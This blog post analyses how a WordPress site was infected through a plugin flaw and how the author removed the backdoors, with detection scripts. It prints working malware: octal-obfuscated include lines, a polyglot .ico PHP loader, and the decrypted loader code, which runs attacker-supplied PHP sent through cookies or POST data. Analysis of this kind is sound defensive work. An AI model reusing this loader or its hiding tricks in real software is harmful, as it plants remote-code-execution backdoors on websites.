Don'worry, this post is pretty long but I've summed it all up in a TL;DR at the end :)
Cleaning Up Trollherten's Backdoor
It seems like there are several variations on this attack. In the iteration of the attack covered by the Sucuri and WordFence articles, the attacker used a malicious wp-cache.php file to hide their backdoor. Although the code from this iteration of the attack is very similar to the code I found several layers of obfuscation deep, the iteration of the attack that hit me had evolved to become much more sophisticated and difficult to find, and I had to perform additional steps to remove several backdoors that were left behind.
First of all, if you haven't already you should perform all of the steps outlined in these articles:
- You should make sure the site is using version 1.4.3 or newer of the WP GDPR Compliance plugin to stay safe
- You should also disable user registrations and ensure that the default user role is not set to Administrator. This can be accomplished by unchecking the box under Settings > Membership from the WordPress dashboard. You’ll also need to change the role under New User Default Role to Subscriber (or whatever you were using before the attack).
- Remove any recently created administrator users that shouldn't be there (in my case they were t3trollherten and t2trollherten, the articles mention a superuser as well.)
- If you discover a wp-cache.php file in the root of your wordpress installation, remove that file too.
Now it's time to hunt for backdoors.
I started off my search by using WordFence's scan feature, which compares all of the plugin, core, and theme files on your site with the plugin author's version of those files to look for where files have been updated or created. This quickly detected a few innocuous looking files that had been added, and one core file that had been changed.
index.php, a file that gets called almost every time a page is loaded, had been modified to include a very suspicious looking string.
@include "\057ho\155e/[redacted]\057pu\142li\143_h\164ml\057wp\055co\156te\156t/\160lu\147in\163/s\150or\164co\144er\057.9\064a9\060d7\141.i\143o";
I would have thought that using WordFence to restore these files back to the un-modified versions would fix everything, however the next day after I had cleaned everything up, I re-scanned the filesystem and found that the backdoor had been re-installed into index.php with a similar looking but different path.
@include "\057hom\145/[redacted]/p\165bli\143_ht\155l/w\160-co\156ten\164/pl\165gin\163/wo\162dpr\145ss-\151mpo\162ter\057.8b\1464b8\061f.i\143o";
We're going to have to go a bit deeper to get rid of the persistence...
Injected @include
In this layer, the attacker has injected an include statement in multiple php files that are either newly created index.php files in existing directories which are accessible externally, or are included during a typical request. in my case these were:- cgi-bin/index.php
- .well-known/pki-validation/index.php
- .well-known/index.php
- index.php
- wp-settings.php
- wp-cache.php
- favicons/index.php
- xero-certs/index.php
Although these files were recently modified or created, their modification time was either reset to an old value so as to avoid detection without calling stat. here is an example stat of index.php which was most certainly modified on 2018-11-14 with the injected include statement.
File: '/home/annachandler/public_html/index.php' Size: 597 Blocks: 8 IO Block: 4096 regular file Device: 801h/2049d Inode: 19107780 Links: 1 Access: (0755/-rwxr-xr-x) Uid: ( 1002/annachandler) Gid: ( 1005/annachandler) Context: unconfined_u:object_r:home_root_t:s0 Access: 2018-11-14 00:02:03.284354669 +0000 Modify: 2018-08-08 14:04:14.000000000 +0000 Change: 2018-11-14 00:02:01.048178609 +0000 Birth: -
Cleanup
I made a bash script to stat all of the files which match this pattern:
for infected in $( find . -type f -exec grep -Hnzl -P '(?s)/\*[\dA-Za-z]+\*/\n\n@include' {} \; ); do stat $infected; done
How it works
The include string used octal escapes to obfuscate a path to an '.ico' file within a random plugin.@include "/home/[redacted]/public_html/wp-content/plugins/shortcoder/.94a90d7a.ico";
I'll cover what this file does in the next section.
Polymorphic Polyglot .ico
"Surely PHP can't just run an image file like that" you're probably thinking. Well, this is no ordinary image file, It's a polymorphic polyglot , and since the binary file starts with the magic <?php opening tag, php can include the file as if it were a php file, regardless of its extension. This means that many scanners would not even scan for the file.Cleanup
Without the php files to call them, these .ico files are pretty harmless, but you can use this script to discover them. Note: There will be some false positives.
for infected in $( find . -regextype egrep -regex '.*/[a-z]+.ico' -exec grep -Hnzl '^<?php' {} \; ); do stat $infected; done
How it Works
Here is what the file contents look like.> cat .94a90d7a.ico | hexdump -C 00000000 3c 3f 70 68 70 0a 24 5f 78 79 6b 70 6c 6a 38 20 |<?php.$_xykplj8 | 00000010 3d 20 62 61 73 65 6e 61 6d 65 2f 2a 71 2a 2f 28 |= basename/*q*/(| 00000020 2f 2a 70 71 2a 2f 74 72 69 6d 2f 2a 30 2a 2f 28 |/*pq*/trim/*0*/(| 00000030 2f 2a 30 2a 2f 70 72 65 67 5f 72 65 70 6c 61 63 |/*0*/preg_replac| 00000040 65 2f 2a 66 6e 6c 68 74 2a 2f 28 2f 2a 31 72 76 |e/*fnlht*/(/*1rv| 00000050 2a 2f 72 61 77 75 72 6c 64 65 63 6f 64 65 2f 2a |*/rawurldecode/*| 00000060 31 63 68 36 2a 2f 28 2f 2a 66 63 2a 2f 22 25 32 |1ch6*/(/*fc*/"%2| 00000070 46 25 35 43 25 32 38 2e 25 32 41 25 32 34 25 32 |F%5C%28.%2A%24%2| 00000080 46 22 2f 2a 6c 7a 2a 2f 29 2f 2a 75 66 2a 2f 2c |F"/*lz*/)/*uf*/,| 00000090 20 27 27 2c 20 5f 5f 46 49 4c 45 5f 5f 2f 2a 71 | '', __FILE__/*q| 000000a0 38 65 79 2a 2f 29 2f 2a 6a 6c 30 68 31 2a 2f 2f |8ey*/)/*jl0h1*//| 000000b0 2a 31 79 7a 63 77 2a 2f 29 2f 2a 6b 6f 6e 68 72 |*1yzcw*/)/*konhr| 000000c0 2a 2f 2f 2a 79 2a 2f 29 2f 2a 62 2a 2f 3b 24 5f |*//*y*/)/*b*/;$_| 000000d0 65 38 31 67 34 78 20 3d 20 22 47 5f 25 31 34 49 |e81g4x = "G_%14I| 000000e0 25 31 38 54 25 30 31 51 25 30 38 25 34 30 25 30 |%18T%01Q%08%40%0| 000000f0 43 25 30 37 47 25 30 39 4a 25 34 30 25 31 33 25 |C%07G%09J%40%13%| 00000100 35 43 51 25 30 39 68 25 30 32 41 25 30 37 25 31 |5CQ%09h%02A%07%1| ... 00007a60 44 25 31 43 44 25 31 37 25 34 30 45 43 4b 25 35 |D%1CD%17%40ECK%5| 00007a70 44 54 57 25 31 35 25 34 30 42 25 30 30 59 48 25 |DTW%15%40BYH%| 00007a80 30 37 52 69 25 31 32 22 3b 65 76 61 6c 2f 2a 6a |07Ri%12";eval/*j| 00007a90 79 33 71 2a 2f 28 2f 2a 61 32 2a 2f 72 61 77 75 |y3q*/(/*a2*/rawu| 00007aa0 72 6c 64 65 63 6f 64 65 2f 2a 75 2a 2f 28 2f 2a |rldecode/*u*/(/*| 00007ab0 72 35 6a 7a 2a 2f 24 5f 65 38 31 67 34 78 2f 2a |r5jz*/$_e81g4x/*| 00007ac0 6f 77 61 2a 2f 29 2f 2a 32 69 33 62 2a 2f 20 5e |owa*/)/*2i3b*/ ^| 00007ad0 20 73 75 62 73 74 72 2f 2a 6e 74 68 69 2a 2f 28 | substr/*nthi*/(| 00007ae0 2f 2a 6b 2a 2f 73 74 72 5f 72 65 70 65 61 74 2f |/*k*/str_repeat/| 00007af0 2a 35 6a 75 6d 2a 2f 28 2f 2a 72 2a 2f 24 5f 78 |*5jum*/(/*r*/$_x| 00007b00 79 6b 70 6c 6a 38 2c 20 2f 2a 61 68 62 74 6d 2a |ykplj8, /*ahbtm*| 00007b10 2f 28 2f 2a 38 67 7a 2a 2f 73 74 72 6c 65 6e 2f |/(/*8gz*/strlen/| 00007b20 2a 62 65 72 63 38 2a 2f 28 2f 2a 38 35 7a 2a 2f |*berc8*/(/*85z*/| 00007b30 24 5f 65 38 31 67 34 78 2f 2a 73 30 78 72 2a 2f |$_e81g4x/*s0xr*/| 00007b40 29 2f 2a 64 74 2a 2f 2f 73 74 72 6c 65 6e 2f 2a |)/*dt*//strlen/*| 00007b50 33 79 72 2a 2f 28 2f 2a 7a 67 68 32 2a 2f 24 5f |3yr*/(/*zgh2*/$_| 00007b60 78 79 6b 70 6c 6a 38 2f 2a 6b 39 2a 2f 29 2f 2a |xykplj8/*k9*/)/*| 00007b70 66 2a 2f 2f 2a 65 7a 77 38 2a 2f 29 2f 2a 34 6f |f*//*ezw8*/)/*4o| 00007b80 37 74 2a 2f 20 2b 20 31 2f 2a 32 61 63 6b 2a 2f |7t*/ + 1/*2ack*/| 00007b90 29 2f 2a 61 66 36 73 2a 2f 2c 20 30 2c 20 73 74 |)/*af6s*/, 0, st| 00007ba0 72 6c 65 6e 2f 2a 78 2a 2f 28 2f 2a 65 39 78 6e |rlen/*x*/(/*e9xn| 00007bb0 74 2a 2f 24 5f 65 38 31 67 34 78 2f 2a 61 77 6f |t*/$_e81g4x/*awo| 00007bc0 30 76 2a 2f 29 2f 2a 32 70 79 6b 2a 2f 2f 2a 6b |0v*/)/*2pyk*//*k| 00007bd0 2a 2f 29 2f 2a 38 2a 2f 2f 2a 34 2a 2f 29 2f 2a |*/)/*8*//*4*/)/*| 00007be0 62 74 69 2a 2f 3b 0a 0a 0a 2f 2f 63 30 31 61 64 |bti*/;...//c01ad| 00007bf0 31 37 65 66 61 61 36 32 66 36 65 34 35 35 33 61 |17efaa62f6e4553a| 00007c00 31 32 30 39 61 33 34 38 64 64 30 67 38 61 25 33 |1209a348dd0g8a%3| 00007c10 44 25 32 46 25 32 30 39 34 71 70 2d 63 76 69 39 |D%2F%2094qp-cvi9| 00007c20 75 6a 31 25 32 42 25 33 44 68 63 30 25 33 46 25 |uj1%2B%3Dhc0%3F%|
The first part of the file decrypts and evals some php code, which then decrypts a comment at the end of the file containing a serialised object that the malware uses to store state.
This first stage uses XOR encryption where the key material is based on the current __FILE__ , and the ciphertext is a large urlencoded string. This encryption method breaks most automatic de-obfuscation tools that I tried, so in order to decrypt it, I had to replace __FILE__ with the filename and the eval with print_r and run in a php sandbox. Here is the decrypted first stage with some comments and my interpretation of what the variables mean.
if (!defined('stream_context_create ')) { define('stream_context_create ', 1); @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @error_reporting(0); @set_time_limit(0); if(!defined("PHP_EOL")) { define("PHP_EOL", "\n"); } if(!defined("DIRECTORY_SEPARATOR")) { define("DIRECTORY_SEPARATOR", "/"); } if (!defined('file_put_contents ')) { define('file_put_contents ', 1); $uuid = 'e2af0b4b-3817-4cd6-88e8-8167bb8abf6c'; global $uuid; function spicy_b64_decode($encoded) { if (strlen($encoded) < 4) { return ""; } $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; $char_values = str_split($chars); $char_values = array_flip($char_values); $index = 0; $decoded = ""; $encoded = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $encoded); do { $enc_byte_a = $char_values[$encoded[$index++]]; $enc_byte_b = $char_values[$encoded[$index++]]; $enc_byte_c = $char_values[$encoded[$index++]]; $enc_byte_d = $char_values[$encoded[$index++]]; $dec_byte_a = ($enc_byte_a << 2) | ($enc_byte_b >> 4); $dec_byte_b = (($enc_byte_b & 15) << 4) | ($enc_byte_c >> 2); $dec_byte_c = (($enc_byte_c & 3) << 6) | $enc_byte_d; $decoded = $decoded . chr($dec_byte_a); if ($enc_byte_c != 64) { $decoded = $decoded . chr($dec_byte_b); } if ($enc_byte_d != 64) { $decoded = $decoded . chr($dec_byte_c); } } while ($index < strlen($encoded)); return $decoded; } if (!function_exists('file_put_contents')) { function file_put_contents($tvdhorx, $mjlrdqx, $vvcgmrb = False) { $qqgovy = $vvcgmrb == 8 ? 'a' : 'w'; $yuhieu = @fopen($tvdhorx, $qqgovy); if ($yuhieu === False) { return 0; } else { if (is_array($mjlrdqx)) $mjlrdqx = implode($mjlrdqx); $xjcxyhb = fwrite($yuhieu, $mjlrdqx); fclose($yuhieu); return $xjcxyhb; } } } if (!function_exists('file_get_contents')) { function file_get_contents($trxrfats) { $tjymix = fopen($trxrfats, "r"); $edpmohh = fread($tjymix, filesize($trxrfats)); fclose($tjymix); return $edpmohh; } } function this_filename() { return trim(preg_replace("/\(.*\$/", '', __FILE__)); } function xor_two_strings($value, $xor_key) { $result = ""; for ($index_l=0; $index_l<strlen($value);) { for ($index_r=0; $index_r<strlen($xor_key) && $index_l<strlen($value); $index_r++, $index_l++) { $result .= chr(ord($value[$index_l]) ^ ord($xor_key[$index_r])); } } return $result; } function xor_key_then_uuid($value, $xor_key) { global $uuid; return xor_two_strings(xor_two_strings($value, $xor_key), $uuid); } function xor_uuid_then_key($value, $xor_key) { global $uuid; return xor_two_strings(xor_two_strings($value, $uuid), $xor_key); } function get_stored_object() { $file_contents = @file_get_contents(this_filename()); $storage_location = strpos($file_contents, md5(this_filename())); if ($storage_location !== FALSE) { $stored_ciphertext = substr($file_contents, $storage_location + 32); $stored_object = @unserialize(xor_key_then_uuid(rawurldecode($stored_ciphertext), md5(this_filename()))); } else { $stored_object = Array(); } return $stored_object; } function set_stored_object($stored_object) { $stored_ciphertext = rawurlencode(xor_uuid_then_key(@serialize($stored_object), md5(this_filename()))); $file_contents = @file_get_contents(this_filename()); $storage_location = strpos($file_contents, md5(this_filename())); if ($storage_location !== FALSE) { $stored_ciphertext = substr($file_contents, $storage_location + 32); $file_contents = str_replace($stored_ciphertext, $stored_ciphertext, $file_contents); } else { $file_contents = $file_contents . "\n\n//" . md5(this_filename()) . $stored_ciphertext; } @file_put_contents(this_filename(), $file_contents); } function plugin_add($plugin_key, $plugin_value) { $stored_object = get_stored_object(); $stored_object[$plugin_key] = spicy_b64_decode($plugin_value); set_stored_object($stored_object); } function plugin_remove($plugin_key) { $stored_object = get_stored_object(); unset($stored_object[$plugin_key]); set_stored_object($stored_object); } function eval_plugins($plugin_key=NULL) { foreach (get_stored_object() as $stored_plugin_key=>$plugin_value) { if ($plugin_key) { if (strcmp($plugin_key, $stored_plugin_key) == 0) { eval($plugin_value); break; } } else { eval($plugin_value); } } } foreach (array_merge($_COOKIE, $_POST) as $key => $value) { $value = @unserialize(xor_key_then_uuid(spicy_b64_decode($value), $key)); if (isset($value['ak']) && $uuid==$value['ak']) { if ($value['a'] == 'i') { $debug_info = Array( 'pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $value['ak'], ); echo @serialize($debug_info); exit; } elseif ($value['a'] == 'e') { eval($value['d']); } elseif ($value['a'] == 'plugin') { if($value['sa'] == 'add') { plugin_add($value['p'], $value['d']); } elseif($value['sa'] == 'rem') { plugin_remove($value['p']); } } echo $value['ak']; exit(); } } eval_plugins(); } }
The first stage loader looks for a specially crafted key/value pair in $_COOKIE or $_POST which is double-xor encoded with key material that is unique to this file. This value deserializes to an array that kind of functions as a command. There is a command to print debugging info, a command to eval php, and it can even store and remove what the malware refers to as 'plugins' which are lines of code that get eval'd every the ico file is included. I thought this was a pretty badass.
The amount of encryption used made it difficult to analyse, and since the key material is randmly generated, it is probably unique to each website infected. Adding to the difficulty in reversing the file was the fact that the location of the stored data is stored in a location determined by the md5 hash of the file itself, so any modification of the file would break your ability to retrieve the stored data.
None the less, I was able to modify a decoded version of the file slightly to trick it in to decoding an un-touched version of the file, and this the command array that I ended up with
Array ( [tds] => $tfwqrxccyn = 8013; function jsyhlnu($qufmmejn, $hbhxqlo){$pdoalklrd = ''; for($i=0; $i < strlen($qufmmejn); $i++){$pdoalklrd .= isset($hbhxqlo[$qufmmejn[$i]]) ? $hbhxqlo[$qufmmejn[$i]] : $qufmmejn[$i];} $wjfrld="rawurl" . "decode";return $wjfrld($pdoalklrd);} $qoqwp = '%zP%za%zP%zaHF%nz%nr%nyt5FHp5t%nr%nfFHs5_05G_m4pG5pGw'. '%nz%nf%n8%n8%zP%za%fE%zP%za%nz%nz%nz%nzt5FHp5%nr%nfFHs5_05G_m4pG5pGw%nz%nf%nZ%nzy%n8'. '%AE%zP%za%zP%za%nz%nz%nz%nzms7ww%nzStwZsH5pG%zP%za%nz%nz%nz%nz%fE%zP%'. 'za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nz%nQm4pFH0%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIH'. 'k7G5%nz%nQm4pFH0_tHmG%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDYhsHm%nzFYpmGH4p%nz__m4pw'. 'GIYmG%nr%nQm4pFH0%nZ%nz%nQYHt%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nQGdHw-%ACm4pFH0%nz%AP%nz%nQm4pFH0%AE%zP'. '%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQGdHw-%ACYHt%nz%AP%nz%nQYHt%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%'. 'nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzFYpmGH4p%nz_05G_m4pFH0%nr%n8%zP%za%nz%nz%'. 'nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'zHF%nz%nr53DG2%nr%nQGdHw-%ACm4pFH0_tHmG%n8%n8%zP%za%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQGdHw-%A'. 'Cm4pFH0_tHmG%nz%AP%nz%QzYpw5IH7sHV5%nr%nQGdHw-%AC_t5mI2DG%nrStwZsH5pG%Aa%AahlQt%nr%nQGdHw-%AC'. 'm4pFH0%n8%nZ%nz%nnG3p2IhGkmdochp2%nn%n8%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQGdHw-%ACm4pFH0_tHmG%AE%zP%za'. '%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzF'. 'YpmGH4p%nz_dGGD_eY5I2_mYIs%nr%nQYIs%nZ%nz%nQm4pG5pG%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%z'. 'P%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%nyFYpmGH4p_5oHwGw%nr%nfmYIs_k5IwH4p%nf%n8%n8%zP'. '%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'zI5GYIp%nz%nn%nn%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQmd%nz%AP%nzmYIs_HpHG%'. 'nr%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr'. '%nQmd%nZ%nzZqjMKiS_qjM%nZ%nz%nQYIs%n8%AE%zP%za%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr%nQmd%nZ%nzZqjMKiS_ZK66CZSSgWCKqS%nZ%nzA%n8%AE%'. 'zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr%nQmd'. '%nZ%nzZqjMKiS_SgWCKqS%nZ%nzc%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%ny53DG2'. '%nr%nQm4pG5pG%n8%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr%nQ'. 'md%nZ%nzZqjMKiS_iKJS%nZ%nzy%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr%nQmd%nZ%n'. 'zZqjMKiS_iKJSRgCMPJ%nZ%nz%nQm4pG5pG%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzmYIs_w5G4DG%nr%nQmd%nZ%nzZqj'. 'MKiS_jCSqj6Sja6JRCj%nZ%nzSjqC%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQw5Ik5I_4YGDYG'. '%nz%AP%nzmYIs_5o5m%nr%nQmd%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nzmYIs_ms4w5%nr%nQmd%n8%AE%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQw5Ik5I_'. '4YGDYG%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz'. '%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzFYpmGH4p%nz_dGGD_eY5I2_p7GHk5%nr'. '%nQYIs%nZ%nz%nQm4pG5pG%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nQm4pG5oG%nz%AP%nzaII72%nr%nfdGGD%nf%nz%AP%AC%nzaII72%nr%zP%za%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nf35Gd4t%n'. 'f%nz%AP%AC%nz%nfvCS%nf%nZ%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nfGH354YG%nf%nz%AP%AC%nzc%nZ%zP%za%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nfH0p4I5_5II4Iw%nf%nz%AP%AC%nzGIY5%n8%n8%AE%zP%za%zP%za%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nzHF%nz%nr%ny53DG2%nr%nQm4pG5pG%n8%n8%zP%za%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nQm4pG5oG%cE%nfdGGD%nf%cP%cE%nf35Gd4t%nf%cP%nz%AP'. '%nz%nfiKJS%nf%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQm4pG5oG%cE%nfdGG'. 'D%nf%cP%cE%nfd57t5I%nf%cP%nz%AP%nz%nfZ4pG5pG-G2D5%Aa'. '%nz7DDsHm7GH4p/o-111-F4I3-YIs5pm4t5t%nf%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nQm4pG5oG%cE%nfdGGD%nf%cP%cE%nfm4pG5pG%nf%cP%nz%AP%nz%nQm4pG5pG%AE%zP%za%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQm4pG5oG%cE%nfdG'. 'GD%nf%cP%cE%nfGH354YG%nf%cP%nz%AP%nzc%AE%zP%za%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQm'. '4pG5oG%nz%AP%nzwGI573_m4pG5oG_mI57G5%nr%nQm4pG5oG%n8%AE%zP%za%zP%za%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%QzFHs5_05G_m4pG5pGw%nr%nQYIs%nZ%nzRaMJC%nZ%nz%nQm4pG5oG%n8'. '%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzFYpmGH4p%n'. 'z_dGGD_eY5I2%nr%nQYIs%nZ%nz%nQeY5I2%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%z'. 'a%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQYIs%nz%AP%nzwGI_I5Ds7m5%nr%nn%cEqjM%cP%nn%nZ%nz%nnff.rf'. '.y8A.yQ%nn%nZ%nz%nQYIs%n8%AE%zP%za%zP%za%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nQm4pG5pG%nz%AP%nz%nQGdHw-%AC_dGGD_eY5I2_mYIs%n'. 'r%nQYIs%nZ%nz%nQeY5I2%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nzHF%nz%nr%ny%nQm4pG5pG%n8%zP%za%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nQm4pG5pG%nz%AP%nz%nQGdHw-%AC_dGGD_eY5I2_p7GHk5%nr%nQYIs%nZ%n'. 'z%nQeY5I2%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%f'. 'P%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQm4pG5pG'. '%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%n'. 'z%nz%nzDIHk7G5%nzFYpmGH4p%nz_05G_I5eY5wG_HD%nr%n8%zP%za%n'. 'z%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%n'. 'z%nz%nz%nz%nQHD_T52w%nz%AP%nz7II72%nr%nfjCWKSC_aPPj%nf%nZ%nz%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nzF4I57md%nz%nr%nQHD_T52w%nz7w%nz%nQT52%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nr7II72_T52_5oHwGw%nr%nQT52%'. 'nZ%nz%nQ_JCjNCj%n8%nz%AP%AP%AP%nzSjqC%n8%zP%za%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzF4I57md%nz%nr5oDs4t5%nr%nf%nZ%nf%nZ%nz%nQ_JCjNCj%cE%n'. 'QT52%cP%n8%nz7w%nz%nQHD%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQHD%nz%AP%n'. 'zGIH3%nr%nQHD%n8%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzHF%nz%nrFHsG5I_k7I%nr%nQHD%nZ%nzRgMSCj_NaMgPaSC_gi'. '%nZ%nzRgMSCj_RMav_6K_ijgN_ja6vC%nz%fZ%nzRgMSCj_RMav_6K_jCJ_ja6vC%n8%nz%ny%AP%AP%nzRa'. 'MJC%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nQHD%AE%z'. 'P%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%fP%zP%za%zP%za%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nzI5GYIp%nz%nn%nn%AE%zP%za%nz%nz%nz%n'. 'z%nz%nz%nz%nz%fP%zP%za%zP%za%nz%nz%nz%nz%nz%nz%nz%nzDIHk7G5%nzFYpmGH4p%n'. 'z_eY5I2%nr%n8%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%fE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQGtw_m4'. 'pFH0%nz%AP%nz%nQGdHw-%AC_05G_m4pFH0%nr%n8%AE%zP%za%zP%za%nz%nz%nz%'. 'nz%nz%nz%nz%nz%nz%nz%nz%nz%nQHD%nz%AP%nz%nQGtw_m4pFH0%cE%nnGtw_HD%nn%c'. 'P%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQD4IG%nz%AP%nz%nQGtw_m4'. 'pFH0%cE%nnGtw_D4IG%nn%cP%AE%zP%za%nz%nz%nz%nz%nz%nz%nz%nz%nz%nz'. '%nz%nz%nQD7Gd%nz%AP%nz%nQGtw_m4pFH0%cE%nnGtw_D7Gd%nn%cP%AE%zP%za%zP%za%nz%nz%n'. 'z%nz%nz%nz%nz%nz%nz%nz%nz%nz%nQI4YG5%nz%AP%nz%nn24I'. 